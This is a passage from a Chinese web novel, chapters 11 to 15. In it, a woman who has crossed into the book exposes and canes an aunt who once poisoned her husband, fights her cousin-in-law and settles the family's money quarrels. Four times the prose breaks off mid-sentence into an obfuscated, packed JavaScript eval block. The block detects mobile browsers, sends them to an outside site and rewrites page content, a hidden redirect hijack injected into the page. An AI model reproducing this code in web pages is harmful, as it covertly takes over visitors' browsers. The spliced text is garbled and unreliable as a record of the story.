“霍开,你这是真心受罚,还是要给三婶开脱?我七郎差点死了,你不向当事人赔罪,却只对着老太太磕头恕罪。怎么,打量着老太太疼你,想和稀泥?依我看,干脆把三婶推进池塘,浸泡至高热后关进柴房,再饿她三天三夜,若这样能挺过去,那我家七郎就不计较了。” 此话一出,周围静了,在场的人心思各异。 冯氏觉得这法子也罚得轻了,对于害她儿子的人,她恨不能将其扒皮拆骨。贺氏和苏氏正在消化今天知道的一切,还没从震惊中回过神。 霍婉瑛此刻只顾得上心疼霍钧。 本来能连中三元,却被婶娘害得差点连命都丢了;本来可以娶心仪的女子携手余生,谁知却被设计,娶的妻子爱的却是自家兄长。 她七哥着实太惨了! 霍开更是深受打击。 他又羞又愧,恨不能时光倒流,希望一切都没发生过,哪怕自己不曾中过这状元也无所谓。 而一旁默默无闻的张语琳,凭借前世在职场锻炼出的敏锐直觉和第六感,让她觉得尹微月这个“情敌”不简单,以后要和她最大限度保持距离。 只有霍钧舒展了眉眼,成亲两年多,他第一次觉得尹微月说了句人话。 不过她一反常态开口闭口七郎七郎的,实在太肉麻,那感觉像心口上爬来一窝讨厌的蚂蚁,让人痒痒的,麻麻的,还黏腻生躁。 他不禁想到尹微月的反常表现,看来今日她着实被霍开伤着了。 女人因爱生恨真可怕,前一秒要追着做妾,后一秒就能置对方于死地,还能当众亲昵称呼敌人为“七郎”。 怪不得连圣贤都云:最毒妇人心。 霍钧暗下决心,若霍家这次能逃出升天,自己也能顺利和离的话,他此生定不再娶妻。 11. 第11章 这时陈氏回头,恨不能将尹微月的嘴撕烂:“轮不到你来给我定罪,霍安宗还没休我呢,我仍然是你的三婶,竟敢当众直呼我大名,你忤逆长辈,你也该打!” 她是真被尹微月气得狠了,浑身都在打颤。 “忤逆长辈?”尹微月笑了,“我嫁进霍家两年多,按理说你们早就应该把我打听得透透彻彻,只说我忤逆长辈,那可太抬举我了。” 思绪一转,她开始添油加醋背诵书中原身的“惊天事迹”。 “我七岁上想吃树上的杏子,我让小厮摘左面枝丫的,他却给我摘了右面的,我便让人往他耳朵里灌热水,左右那耳朵无用废了正好。 八岁上,我爹爹新讨了房小妾,颇有分姿色,惹得我娘亲不快。我便闯进她房里,对着她的脸就抹了两刀刃子,那血~啧啧,流了她满衣襟呢。 还有我那大伯娘,忽然得了急症再也说不了话,那也是我干的,谁让她说我没有她女儿规矩,所以那嘴不要也罢。诸如此类的事还有很多很多,我说个三天三夜也说不完,奈何我爹爹位高权重,又最最宠我,遇到事就推个奴才出来顶罪,也无人敢追究。” 尹微月一边说一边恨不能抽原身两巴掌,她被宠溺得无法无天,造就的性子简直可以用恶毒至极来形容。 在场的人脸色霎时变了,他们只知道尹氏嚣张跋扈,进门处处与婆婆嫂子作对,却不知她从小就如此狠毒。 旁人不知道,可冯氏又怎么会打听不出些蛛丝马迹?只不过当年都以为两人生米煮成熟饭,才不得已娶了这么个儿媳妇,现在真是后悔极了。 霍婉瑛更心疼七哥了,有种好白菜为什么偏偏被猪拱了的心态。 老太太叹口气,子孙立身不正,这是天要亡他们霍家呀!如今在这档口,若她任由后代如此行事,错不说错,对不说对,就算能等到沉冤昭雪的那一天,恐怕霍家也长久不了。 “老七媳妇,不管你以前在尹家如何作恶,但只要留在霍家一天,此些恶毒之事便不许再做,你趁早全改了,也算为自己积德。 不管你与三房有何恩怨,也不管你是出于何种原因和目的,今天能把谋害老七这件事说出来,祖母替大房谢谢你。既然圣上恩准你可以和离,那不如你们今日就做个了断,也算脱离眼下的苦海。” 霍钧一听祖母松口了,心里总算呼出一抹郁气,刚要出声答应,胳膊便被扯住。 一回头,不是尹微月还能是谁! 只见她亲昵挽住霍钧胳膊,“祖母,孙媳不和离,以前是我眼瞎识错了人,误把鱼目当珍珠,从此以后,不管多艰难,我定跟七郎好好过日子。” 跪在地上的霍开眉眼一跳,没人喜欢被指桑骂槐,高傲的他更甚。 张语琳倒挺高兴,暗自恭喜这七弟妹及时醒悟,她便能少了一个假想敌,日后也能安稳些。再说霍开就直男一个,而且性格又冲动,真没什么优点值得女人们争抢。 而一旁的霍钧,又差点被尹微月拽倒。 这女人的劲儿怎么这么大?他皱眉,不动声色瞥了眼两人交缠的胳膊,这还是他们第一次身体接触。男人使劲儿将胳膊往外抽,试了三四次,都以失败告终。 尹微月察觉到霍钧的反抗,她用眼神示意他,仿佛在说:放弃挣扎吧,弱鸡。 女人脸上绽放的胜利笑容,在霍钧眼里,活脱脱一副小人得志的嘴脸。 老太太抬眼看向霍钧。 明媒正娶的妻子,心里喜欢的却是自己的堂兄,这对哪个男人来说都是奇耻大辱。 她不想孙子受委屈,可尹氏悔改之意非常明显,都道宁拆十座庙,不悔一桩亲,再说过日子谁家不是凑付呢。 正所谓凑付就是凑福。 老太太沉思片刻又说:“尹氏,霍家被安的是谋反大罪,说不好就要砍头,就算不砍头,软禁的日子也不知何时能过去,你当真不和离?” “我不和离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592626|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,公公和两位兄长忠君报国,定不会做谋逆之事,咱们霍家是被诬陷的,总有一天真相会大白天下。但如果上苍真要我们霍家蒙不白之冤,就算砍头我也要和七郎一起,我们生同衾死同穴。” 尹微月死死挽住霍钧胳膊,此番话说的斩钉截铁,铿锵有力,她把自己都感动了。 可这番慷慨激昂的话却未说动冯氏,鬼才信一个下午尹氏就爱上她儿子了,她比任何人都想二人和离,一听话头不对,赶紧开口,却被老太太拦下。 提起还在天牢的儿子孙子,老太太眼眶红了,对尹微月说:“好,既然你坚持要留下,就一定要认清自己的身份,只要在霍府一天,你就是老七的媳妇,女人出嫁后最重要的就是守妇道。 以前的事就当大梦一场谁都不要再提,从此痛改前非重新开始,把不该有的念头全部斩断。咱们霍家虽眼下遭了难,但我相信天无绝人之路,霍家一定会重新站起来的。至于你三婶,我绝对不会轻饶,你们都放心吧。” 老太太还挺乐观,不过她说得也没错。 原书里只有大房流放路上死了一片,其他三房还真没什么损失,起码在她看的内容里没折什么人。 “祖母说的是,微月记下了,今后定会忘记前尘与七郎好好过日子,只是不知您打算怎么罚三婶?”尹微月又将话头引到陈氏身上。 老太太瞧她一眼,遂又看向陈氏:“仗一百,思暖,就由你来——” “祖母,这种粗活我替母亲接了。”尹微月赶紧自告奋勇毛遂自荐,不等旁人反应,就将拐杖拿了过来。 这一百拐杖若还让冯氏打,打不打得着还是个未知数,弄不好反倒伤着她自己。在场余下的人里,除了老太太都是小辈,难免瞻前顾后下不了重手,毕竟毒害之事发生在三年前,而且霍钧没死成。 虽然尹微月也是小辈,但她不怕,不仅不怕,她此刻笑得还有些阴森,“来吧三婶,您自个趴下还能少受些罪。” 12. 第12章 “你凭什么打我?”陈氏接受不了打一百棍子,更接受不了被尹微月打。 凭什么?问得好。 “你毒害我相公,不仅令他无缘殿试,更差点让祖母和公公婆婆白发人送黑发人,我只打你一百拐棍,是三婶你赚便宜了呢。” “你一个侄媳妇,没有资格打我,母亲,您不能如此狠心,开儿救我!”陈氏顾不上仪态,还在做最后的挣扎。 “我是霍安宗明媒正娶的正房夫人,就算要治我的罪,也要按祖宗规矩开祠堂请家法,由霍安宗来主持,怎能由得你们动私刑?” 老太太听了冷笑道:“连我这活着的婆母都不敬不孝,你还有何脸面去麻烦祖宗?也不必去请我那窝囊儿子了,今日这稀泥他和不了。” 老太太由冯氏扶着坐在花墙的台阶上,此刻已不去看陈氏,霍开求情的话张口到嘴边却说不出来,毕竟母亲毒害七弟是真。 这时霍婉瑛站出来,“虽然打你的是七嫂,但罚你的是老太太,七嫂只是代打,三婶不服便是罪加一等。七嫂,我帮你摁着!” 尹微月一阵欣慰,她用看“亲闺女”的目光看这个小姑子,她果真就如书里写的那样,温婉大方又柔中带刚。 尹微月朝她笑笑,语气温柔:“这点小事七嫂一人搞得定,回头血溅你身上脏了衣服多不好,你站一旁给我报个数就成。” 霍钧有些惊讶尹微月对霍婉瑛一百八十度大转弯的语气,霍开则听着这话担忧地皱眉,陈氏更急了:“尹氏,你这小贱.人——” 下面的话陈氏没说完,就被尹微月快速绕道背后,一个侧踹将她踢趴下,然后举起拐杖,重重落下。 敢骂她贱.人,还推霍婉瑛摔了尾巴骨,尹微月自是不会手下留情。 “一!”随着一声棍子落下的闷声,霍婉瑛精准报数。 “哎呦,我要杀了你!”陈氏下一秒尖叫声响起,弓着身子就要暴走撕打尹微月,却被后者一脚踩在脊背上。 顿时,她就像一个被踩住壳子的王八,只有头和四肢乱晃,可半点翻不了身也挪不了地儿。 尹微月拐杖接二连三落下,霍婉瑛干脆利落报数。 “二” “三” “三十六” “七十八……” 冯氏眼珠通红,不错眼盯着前方,就怕闺女数错数,少打了陈氏。今日虽比不得当时霍钧性命垂危,可至少惩戒了这毒妇,出了口怨气。 尹微月避开那些比较脆弱的部位,每一下都快、准、稳、狠地打在屁股同一个地方,只疼,却残不了也死不了。 虽然陈氏有错在先,可再怎么说这是男主的亲娘,她现在活在书里,和气运之子有点小仇不要紧,若结了杀母的死仇就不好了。 “九十九” “一百!” 够数了,尹微月停了手。 “母亲!”霍开立刻跑上前。 陈氏已经哭哑了嗓子,趴在地上一动不动,霍开连忙上前背起她,辞别了老太太,就要回去。 “慢着。”尹微月抬起胳膊,挡住他的路,“今日既来了,有些事、有些话还是要说清楚讲明白的好,以免三房日后又心生怨怼,再来祸害我们大房。” 霍开向来孝顺,虽然知道陈氏的确该罚,可看到她屁股以下衣裙染满了鲜血,情绪早已失控。 他冰冷的眼眸直接朝着尹微月刺过来,人们常说的“眼刀”大概就是如此了,若尹微月是条三文鱼的话,此刻大概已经变成了刺身。 但还是那句话,尹微月上辈子连丧尸都见识过了,男主这眼神对她就是小吃咸菜,她权当没看见。 “霍开,看你这番模样心里意见很大,不像是你娘因为害人性命受罚,倒像是我们大房联合起来,欺负了你娘似的。” “你让开,母亲今日骂也挨了,打也受了,我先回去给她上药,待会儿自会来祖母跟前请罪。到时你要打要杀,悉听尊便!” 不知男主是救母心切还是因为现在年龄尚小,他现在的反应不像男主角应该有的睿智果决,反而很符合毛头小子的特征——不懂变通,只会一味地横冲直撞。 尹微月仔细回忆了一下原著,书里是倒叙手法,开篇是从女主张语琳被霍钧杀死又重生后展开的。作者的重点笔墨都在女主身上,重要的事情基本上都是女主做决断,前期男主基本就充当了摄像头功能。 前十章内容里,基本表达了女主事业脑,男主恋爱脑,女主负责挣钱养家,男主负责宠妻肉麻,每次男主出场都是霸气护妻人设,所以尹微月才会磕他俩的cp。 这么看来,男主年轻的时候跟绝大多数小伙子一样,其实就是个中二的少年,只不过有女主在旁拦着才没有出格的事发生。直到后期年龄大了,经历的事情多了,心智才渐渐成熟。 得,分析出这一点,尹微月更没怕的了,她最擅长的就是治疗中二。 “三婶这点伤一时半会死不了,我家七郎可是在生死线上徘徊了三天呢。如今我们大房连饭都只能一天吃一顿,你们三房却还可以屯药,看来花别人的钱财果然不会心痛。” 母亲被打成这样,尹微月却拿上药做文章,还咬着三房不放,霍开忍无可忍。 果然下一秒,一句正常人喝两斤老白干都说不出来的话,就这样从男主嘴里脱口而出,“你想找死我就成全你!” 背后的陈氏可算逮着了机会,她忍着痛添油加醋:“开儿,你要好好教训一下这个毒妇,她今日做的一切就是为了报你不娶之仇,你要替母亲出口恶气,给我扇烂她那张臭嘴!” 陈氏气疯了,她只想以血还血,完全忘了尹微月是内阁大臣的嫡女,此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592627|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一心就等着看尹微月被扇耳光耳鼻出血、四仰八叉大哭求饶的衰样。 “你让开,我可没有不打女人这规矩。”霍开再次沉脸警告。 “不让,有本事你就打。”她抬高下巴,就不信书里塑造的男主,真能动手打女人。 霍开怒气值已经登顶,被尹微月一激,腾出一只手,抬掌就朝尹微月肩膀劈过来。 此招凌厉,若击中肩胛骨必定受伤。 感受着凌厉的掌风,尹微月万万没想到,这书里的男主真他爹的打女人。 在她没看过的内容里,霍开就是这样一点不懂得怜香惜玉,在他爱上张语琳之前,女人和男人没区别;在他爱上张语琳之后,女人分为两种,一种是张语琳,一种不是张语琳。 他对张语琳千依百顺无所不从,但对于其他招惹他的女人,就一个字——“打”,死不死全凭对方运气。 尹微月没想到她刚穿书,就和自己曾经磕过的cp男主角打了起来,这感觉不太好。 看书时自己是真的喜欢霍开,但现在也不能说他不好,只是立场不同,她作为曾经的读者,现在却和男主角站在了对立面。 总之还是大姐常说的那句话:世上没有天生的好人或者坏人,只不过是时事造就命运,时势造就人心罢了。 前世躲进深山的十五年里,尹微月除了跟大姐切磋外,就只跟山林的野猪、狼群打过,这还是第一次跟男人打架呢。 有点小激动。 “小心!”但周围的人可没有尹微月的好心态,就连“草原哥”霍钧也紧张跑上前想把尹微月拉开,毕竟她今日为大房出了一口气,是头号功臣。 霍家是武勋世家,霍钧因为从小体弱所以不得已从文,然而霍开虽然也从文,功夫却是非常不错的,小小年纪就能在二哥霍坚手底下撑过十招。 霍钧看看尹微月娇小的身子,这一掌若落在她身上,骨头都能散架。 谁知道在场几人都和霍钧一样的想法,尤其霍婉瑛、贺氏、苏氏,虽然两年里尹微月不做人,可今天她实打实帮了大房,于是她们也紧张跑上前。 场面顿时混乱了起来。 霍钧挤在三个女人当中,不知被谁的脚一绊,“砰”一声,一米八多的大个子摔趴在地上,同一时间,尹微月浑身疼得一激灵。 那疼痛从脸到胸,再到腹,一直疼到膝盖和脚踝,她头一歪便看见霍钧趴倒在地上,顿时了悟书中一开篇就描写他“痿痿羸羸、弱不禁风”八个字的真谛。 “我XXXX!”还没开打就受到了战损,她就没见过这么弱鸡的男人,尹微月心里一阵暴躁,不自觉喷出一句“国粹”。 不知是不是因为小说作者是现代人,霍开竟然听懂了这五个字,还误以为尹微月用“国粹”侮辱的是他,于是出招的掌又多了两分凌厉。 13. 第13章 天色将暗未暗,晚霞在天边洒下别样的红,偶有几只不怕寒的春虫,在草层里叫嚣,令人心生烦闷。 月洞门前气氛尤其紧张。 除了陈氏,其他人皆倒吸一口气,而胆小的霍东则直接双手蒙住眼,不敢看七嫂被揍成猪头的样子。 面对突如其来强硬的一掌,尹微月只得快速接招。只见她上身微微后仰,肩部快速侧闪避开,然后右胳膊蓄力后猛地抬起,狠狠砸向霍开出掌的小臂。 与此同时她用内侧臂弯死死锁住霍开手腕,左手对着他的腹部重重打出一拳,最后一个腿摔,就这样眨眼间,霍开连同背后的陈氏全都摔倒在地。 “啊……”陈氏尖叫,屁股再次受到暴击。 就这? 尹微月摸摸鼻子,在书里霍开可是文武双全,谁能想到深山的野猪也比他强。当然也有很大一部分因素是因为他后面背着陈氏,只有一只胳膊能动,又加上轻敌,所以才打输了。 此刻,除了陈氏知啦哇啦乱叫外,所有人都屏息凝气,不敢相信眼前看到的一切,尹微月竟然会功夫,竟还不比老五差。 霍东把手从脸上拿下来,眨着眼往前看,没想到七嫂竟然把五哥打倒了,真是太厉害了。 今日,胎穿的张语琳算是大开眼界了,霍开要打尹微月,却被她反揍了,这剧情,六啊! 看到女人没事,霍钧悬着的心放下来,这才慢悠悠从地上爬起,不过想到两年来他将她怼得哑口无言的情景,不禁又有些后怕。 原来这女人除了爱给他戴绿色帽子之外,还是比较君子的,起码只动口不动手,否则像刚刚那样一拳砸下来,他焉有命在? 而霍开直接处于被打懵逼的状态,他捂着腹部不敢相信地瞪着尹微月,活到这么大,他就没这么窝囊过,一招之内就败了,还是败在兄弟媳妇手里。 这、还是他以前生活的那个世界吗? 相比之下尹微月还是比较冷静的,她大脑迅速回笼,对着霍开轻嗤一声:“也不出去打听打听,我尹家上下没有不知道的,本小姐还不会说话时就会打人了。想当年皇宫大内的侍卫我都不放在眼里,你还嫩着点,若不服咱们就再打一场。” 尹微月用夸张的修辞手法,把自己会武术这个事说的平平无奇,好让在场的人都以为她未出阁前就练武了,只不过是尹家一直对外瞒着而已。 她不怕日后露馅,反正十天后尹家三族不论大小不论男女,全部斩首示众,死无对证之事,如何去查? “打就打,谁怕谁!”霍开揉了揉肚子站起来,虽然一开口一股子中二气息,但眼里全是要一洗前辱的坚定神态。 “混账,胡闹!”老太太活到这岁数,三观在今天被彻底刷新,“老五,你怎么能对你兄弟媳妇动手?” 关键还输得这么惨。 霍开强压下愤怒说道:“祖母,刚才是孙儿不对,可尹氏也太咄咄逼人了。母亲的伤不能耽搁,恳请您让我先带她回去上药,稍后我自会来请罪,哪怕把我这条命赔给七弟也无所谓!” 一直不说话的霍钧听到这里终于开口了。 “五哥,我连三婶的命都不想要,要你的命做甚?三婶为功名要杀了我,可我却不能不顾你我兄弟情义,既然她今日挨了罚,那此事便一笔勾销。只不过今日有些话是得当面说清楚,否则一有空三婶就跑来气祖母,这样什么时候是个头?所以就难为三婶等一等再上药了。” 霍开:“七弟,什么事不能等母亲上完药后再说?难道连你也要拦我?” 霍钧直视霍开的眼睛,声音铿锵:“三婶此刻多痛一分,心里就会多忌惮一分,话也才能多听进去一分,否则没多久她又会故态复萌,认为今日一切都是大房害得。” 尹微月点点头,霍钧虽然身残但好在不脑残,于是又看向霍开:“话没说清楚之前,谁都走不了,不服就开打。” “你!”霍开也气到了,“打就打,到时候若真伤着了可别哭鼻子。” “我?哭鼻子?”尹微月呵呵了,二话不说开始挽袖子。 就这样,气氛顿时又在紧张里中二起来。 幼稚! 一旁的张语琳看不下去,她此刻并不知道尹建章就要倒台了,所以对尹家势力很忌惮。 虽说两个十六七岁的孩子打架,她是真不想趟这浑水,但今天要不劝着点,万一惊动了外面的侍卫就不好了。 尹微月自是有尹家撑腰,三房就惨了,三房惨了,她就惨了。这可不是现代,这里最流行的就是罪名连坐。 自己这短视的婆母轻看了尹微月在娘家的地位,她可不是傻的。就凭尹家能替尹微月向皇帝求得和离一事,便看得出尹建章极其宠溺这个嫡女,绝不能得罪。 张语琳先走到霍开身边,拽了拽他的衣袖摇摇头说道:“夫君莫要冲动,你为人子心疼婆母这没有错,可是对大伯娘来说,她为人母,自然也心疼自己的儿子。 三年前,大伯娘和大伯父也像你现在一样,整整担心了七弟三天三夜。事情虽然过了三年,但婆婆做错了就是做错了,不能因为事情过去许久就免于受罚。 大房是念着骨肉亲情才让老太太发落,若此事三年前发作,大房将婆母交由官府,婆母的罪岂止打一百拐杖能了事的?婆母眼下只是皮肉之苦,你心里再疼也得忍下,这是咱们欠大房的,又怎可倒打一耙跟七弟妹动手?没风度不说,还不讲道理。” 张语琳声音柔柔的,但每个字都极有说服力。 霍开被这些话警醒,自己刚才是犯浑了,幸亏那一掌没打在尹微月身上,否则先不说大房会不会记恨,光尹建章就不能罢休。 但这话在陈氏耳朵里就是另一番滋味了:“哼,不是自己肚子里出来的就是不亲,可见平时对我的好都是装出来的,你个不孝的东西!” 张语琳不搭言,今日若不得罪陈氏,就会得罪尹家,陈氏无非就是刁难她,但尹家手指头动一动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592628|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们整个三房吃不了兜着走。 书里霍家所有人,都是半年后流放时才知道尹家被诛三族的事,所以此时除了尹微月外,他们谁也不知道尹家害了霍家,而且就要完蛋了。 这时张语琳又走到老太太跟前,行了礼便开口说道:“今日让祖母受气了,全是我们三房的不是,若您身子有个三长两短,我们做小辈的万死难辞其咎。” 老太太此时脸上终于有抹笑容:“我和你祖母是手帕交,她于我可是有救命之恩,当年你和老五还在娘胎里就被我指腹为婚,我原是想霍张两家的情义能长长久久走下去,谁成想却困住了你。 我知道你是个好孩子,娶到你是老五的福气,只可怜了你,嫁进门没多久,你的嫁妆身份一并都给收缴了,在这府里一关就是两年,是我们霍家对不起你。” “祖母言重了,孙媳妇早就立下誓言,定与夫君、与霍家共存亡!”不共存亡也不行呀,她没尹微月的好命可以和离。 “好好好,好孩子。”老太太被感动的眼眶红了。 接着张语琳又走到冯氏跟前行礼:“丧子之痛何其残忍,大伯娘差点就要白发人送黑发人,我替三房给您赔罪了。” 冯氏向来明辨是非,本就不是张语琳的错,何故让后辈左右为难?于是拉起她的手道:“好孩子,我知道你的心意,既然陈氏已经受罚,老七也平安无恙,此事我们大房就此揭过,永不再提。” “谢谢大伯娘。”然后她又来到霍钧跟前,微微福身:“七弟,此时我们三房纵使说一万句抱歉也没有用处,你错过恩科,又差点丧命,那时之痛无人能替。虽然婆婆已经受罚,但对不起三个字我们仍旧得说,即便这三个字缥缈无用。” 霍钧俯身作揖回礼:“五嫂言重了,三婶既已受罚,旧事便过去吧。” 最后张语琳来到尹微月面前:“七弟妹,今日是你五哥鲁莽,万幸没有伤着你。他和我婆母是当局者迷,一时乱了分寸,你别见怪。现在就由我斗胆做一次三房的主,你今日要说什么尽管说,我们必定认真聆听。” 还是女主说话舒服,这大局观可比霍开强多了,不愧是书里的大女主。 当然,也有可能陈氏不是张语琳的亲娘,所以她才能冷静处理事情。若亲眼看着自己的娘被打得屁股开花,或许在场的所有人还不一定有霍开做的好。 但这也是没法子的事,立场不同决定了一切。 “五嫂心胸之广令人佩服,那我就有话直说了。”张语琳毕竟是书里的女主,这点面子还是要给的,尹微月已经得罪了气运之子,可不想再得罪气运之女。 “三婶下毒一事,既然我婆母和七郎说了就此揭过,那我们大房便不再追究。只不过三婶时不时就拿五哥‘十四岁中了状元却被大房埋没’这话来戳我婆母心窝子,如今我就当着五哥的面问一问,若你和我家七郎同时应试,那状元还能是你的吗?” 此话有毒,陈氏和霍开心脏同时一梗。 14. 第14章 虽然男主尚处在中二期,但好在还是个有担当的人,他直接说:“从小到大,每次科试我都屈居七弟之下,若三年前我和他共同应试,七弟必钦点状元及第。” 陈氏听完,不甘心地大哭。 两年来压在冯氏心上愧疚的大石头,这一刻终于落了地,真是痛快极了! 尹微月满意点点头:“三婶可听仔细了,不是我们毁了五哥的状元之才,而是你抢了我七郎的状元之名,若你以后再胆敢拿五哥仕途被毁来说事,别怪我婆母大嘴巴抽你。” 陈氏不服气,还想开骂却被霍开拦下。 尹微月又说:“说完了状元之事,接下来我们就再说说三婶整日里张口闭口,说我们大房害得你们被抄家被圈禁之事。” 霍开面露一丝难堪:“祖母,我从未觉得是大房连累了我们,一家人本就应该有福同享,有难同当。” 老太太点点头,语气平和:“你的心意我一向都知道,你不要急,让老七媳妇说下去。” “是,祖母。”尹微月继续说道:“霍家几十年前的事,有些我是特意让娘家打听来的,有些是我嫁进来之后旁敲侧击知道的。当年我公公袭爵前,兴武侯府并没有如今的势力和富贵,反而还因为祖上家口庞大入不敷出,欠下三万两银子的外债。 那时的兴武侯府只有个表面富贵的空壳子罢了,老太爷弥留之际,除了我公公外没人能顶起侯府,也没人愿意顶这个烂摊子。那时候老太爷说要分家,可还没等实行便故去了。我公公袭承爵位后,整整花了十一年的时间在战场拼杀,军功挣得的赏赐没有先还外债,而是遵循老太爷遗言先分家。 他给每房发一千两银子,其余宗亲都分出去了,可唯有你们二房、三房、四房不愿意分。说的好听是要与我公公共同顶家,可实际上,你们就是嫌弃一千两太少,连宅子都买不了个像样的,根本不够挥霍。你们几房是想趴在我公公的肩上吸血,我没说错吧?” 霍家其他宗亲早已分了出去,未分家的一共四房,全都是故去的老兴武侯所出。 大房、三房是嫡出,二房、四房是庶出。 尹微月一说完,冯氏就低声抽噎了起来,她想到了从前那些日子,人人都道侯府风光,却不知她是喝着苦水熬出来的。 她是在老太爷故去前两年嫁进来的,那时侯府的日子非常困难。老太爷五服之内的宗亲全都没分家,光家眷就六百多口,还没算各房的下人。这么多张嘴全部都靠着老太爷的爵位和几处田产铺子养着,每到发月例银子的时候就急得满嘴起燎泡。 老太爷终于下定决心分家,可府上没有银子,又不忍心就这样将宗亲分出去挨饿受冻,只好艰难苦撑。那时候老太爷的四个儿子里,只有霍安疆成家了,而且他又是嫡长子,所以最后这重担就落在了他身上。 霍安疆袭承爵位后,为了撑起侯府,他长年征战沙场,打起仗来不要命。冯氏看着心疼,要把嫁妆拿出来填补夫家,可霍安疆死活不肯收,硬是拿命换来了全家的荣华富贵,可谁知现在又遭人诬陷下了大狱。 老太太拍了拍大儿媳妇的手:“这么多年,委屈你了。” 尹微月叹口气接着说:“三婶,当初若你们肯同意分家,如今也不用和大房一起被软禁了。这都是你们自己的选择,所以日后休要再说我们大房害你们倾家荡产,别又当表子又立牌坊的,空让小辈笑话。” 可以说尹微月的话是毫不留情面的,当然她还没说完,接下来就是重点了。 “当初抄家时,皇上近侍王公公暗中操作给三房留下一大笔财物,并嘱咐你们要分给大房一半,这事我们已经知道了。三婶回去后就把属于大房的那一半财物送来吧,我的话说完了,你们可以回去上药了。” 话到此,陈氏终于绷不住了。 “好啊,狐狸尾巴终于露出来了,搞半天你们大房弄这么大的阵仗,敢情儿就是为了抢钱。告诉你们,王公公可没有给我们三房留财物,想抢我们的救命钱,没门!” 尹微月自是知道陈氏没那么容易吐出来,“王公公留没留,我们去三婶那转一圈就知道了,若真没有,算我胡说八道,此事就此作罢。” “凭什么让你去看,就算有那也是我们三房的东西,里面有我的嫁妆,凭什么给你们大房?” 尹微月笑了。 “三婶,这话你骗骗你的儿女和那两房小妾还行,在老太太和我婆母面前就不要冒充大尾巴狼了。你还好意思提你的嫁妆?你怎么嫁进来的没数么? 你抢了你主家嫡亲堂姐的婚事,陈家从上到下恨你恨到骨头里。你出嫁时,只有那身嫁衣和一套金包银头面是你姨娘准备的。你连一个嫁妆箱子都没有,还是咱们老太太觉得不好看,额外送去十六担聘礼添成你的嫁妆,你现在怎么好意思开这个口?” “老太爷去世时,二叔三叔四叔还都没成家,他们哪个的亲事不是我公公出钱张罗的?我公公不及弱冠便上战场杀敌,而三叔活到现在都没干过一个正差,快五十的人了,恐怕连一文钱也没赚过吧? 你看看你们三房上上下下里里外外,哪处不是大房花银子添置的?你怨恨大房让你们过被软禁的日子,可没有大房,你能过二十多年这么富足安稳的日子吗? 其余庶出的两房蚂蟥就不说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三婶嫁进侯府享了二十多年荣华富贵,如今才过了不到两年苦日子就耐不住了,更何况,哪里苦着你们?各个吃的膘肥体壮,比猪圈的猪都滋润,还好意思来闹?” 尹微月唾沫横飞把三房好一顿数落,大房几个妇人都激动的眼含热泪。尤其冯氏,今日终于有人把她这么多年的委屈,掰开、揉碎、讲清楚。 陈氏自然又是一脸不服气,霍开却被说得满脸羞愧,而张语琳则依旧继续眼观鼻、鼻观心。 尹微月继续说:“世家大族本就荣辱一体,当初给你们银子让你们分家时不想分,非得一个劲儿贴上来。过了二十多年的好日子,现如今侯府稍有点差池就闹成这样。 别以为我不知道你们三房打着什么算盘,你们想用血缘亲情来捆绑老太太,捆绑大房,好让老太太和我婆母内心愧疚不堪,好让她们去求门外的侍卫上书皇帝给你们分家,好让你们撇开大房全搬出去。” 听到这里霍开一惊。 “祖母,我们绝不敢有如此大逆不道的念头!”他连忙又跪下,张语琳无语,怎么又跪了,只得不情愿再次跟着跪下。 15. 第15章 听完尹微月这番话,老太太和冯氏仿若一语惊醒梦中人,这两年来,她们确实一面担心牢里的亲人,一面又因其他几房被抄家软禁而自责。 尹微月轻嗤一声:“五哥没有分家这念头,不代表三房其他人没有。” 书里就是这样写的,陈氏今日来老太太这闹完之后,发现大房全都是老弱病残根本没有人能奈何她。于是胆子也大了,便去怂恿庶出的两房,定好日子一起去老太太面前闹分家。 霍开知道后非常不赞同,他极力阻止陈氏并不准三房任何人去闹,可他却阻止不了被陈氏挑起来的两房。除了二房老四霍邱不同意分家没到场外,其余成年的一个没落。 刚开始这些人还算客气,可听到老太太那句“明知不可为,何必为之”后,一个个颜色都冷淡了下来。 在场的男人们尚且淡定,可女眷们在二房长孙媳妇姜氏的带头下,跟商量好似的不断故意找茬,一个言语不和就对大房撕拽起来。 两家对一家,大房岂是她们对手,那虎狼模样,恨不能把大房一个个扒皮拆骨,霍钧看现场愈演愈烈,于是冲上去劝架。 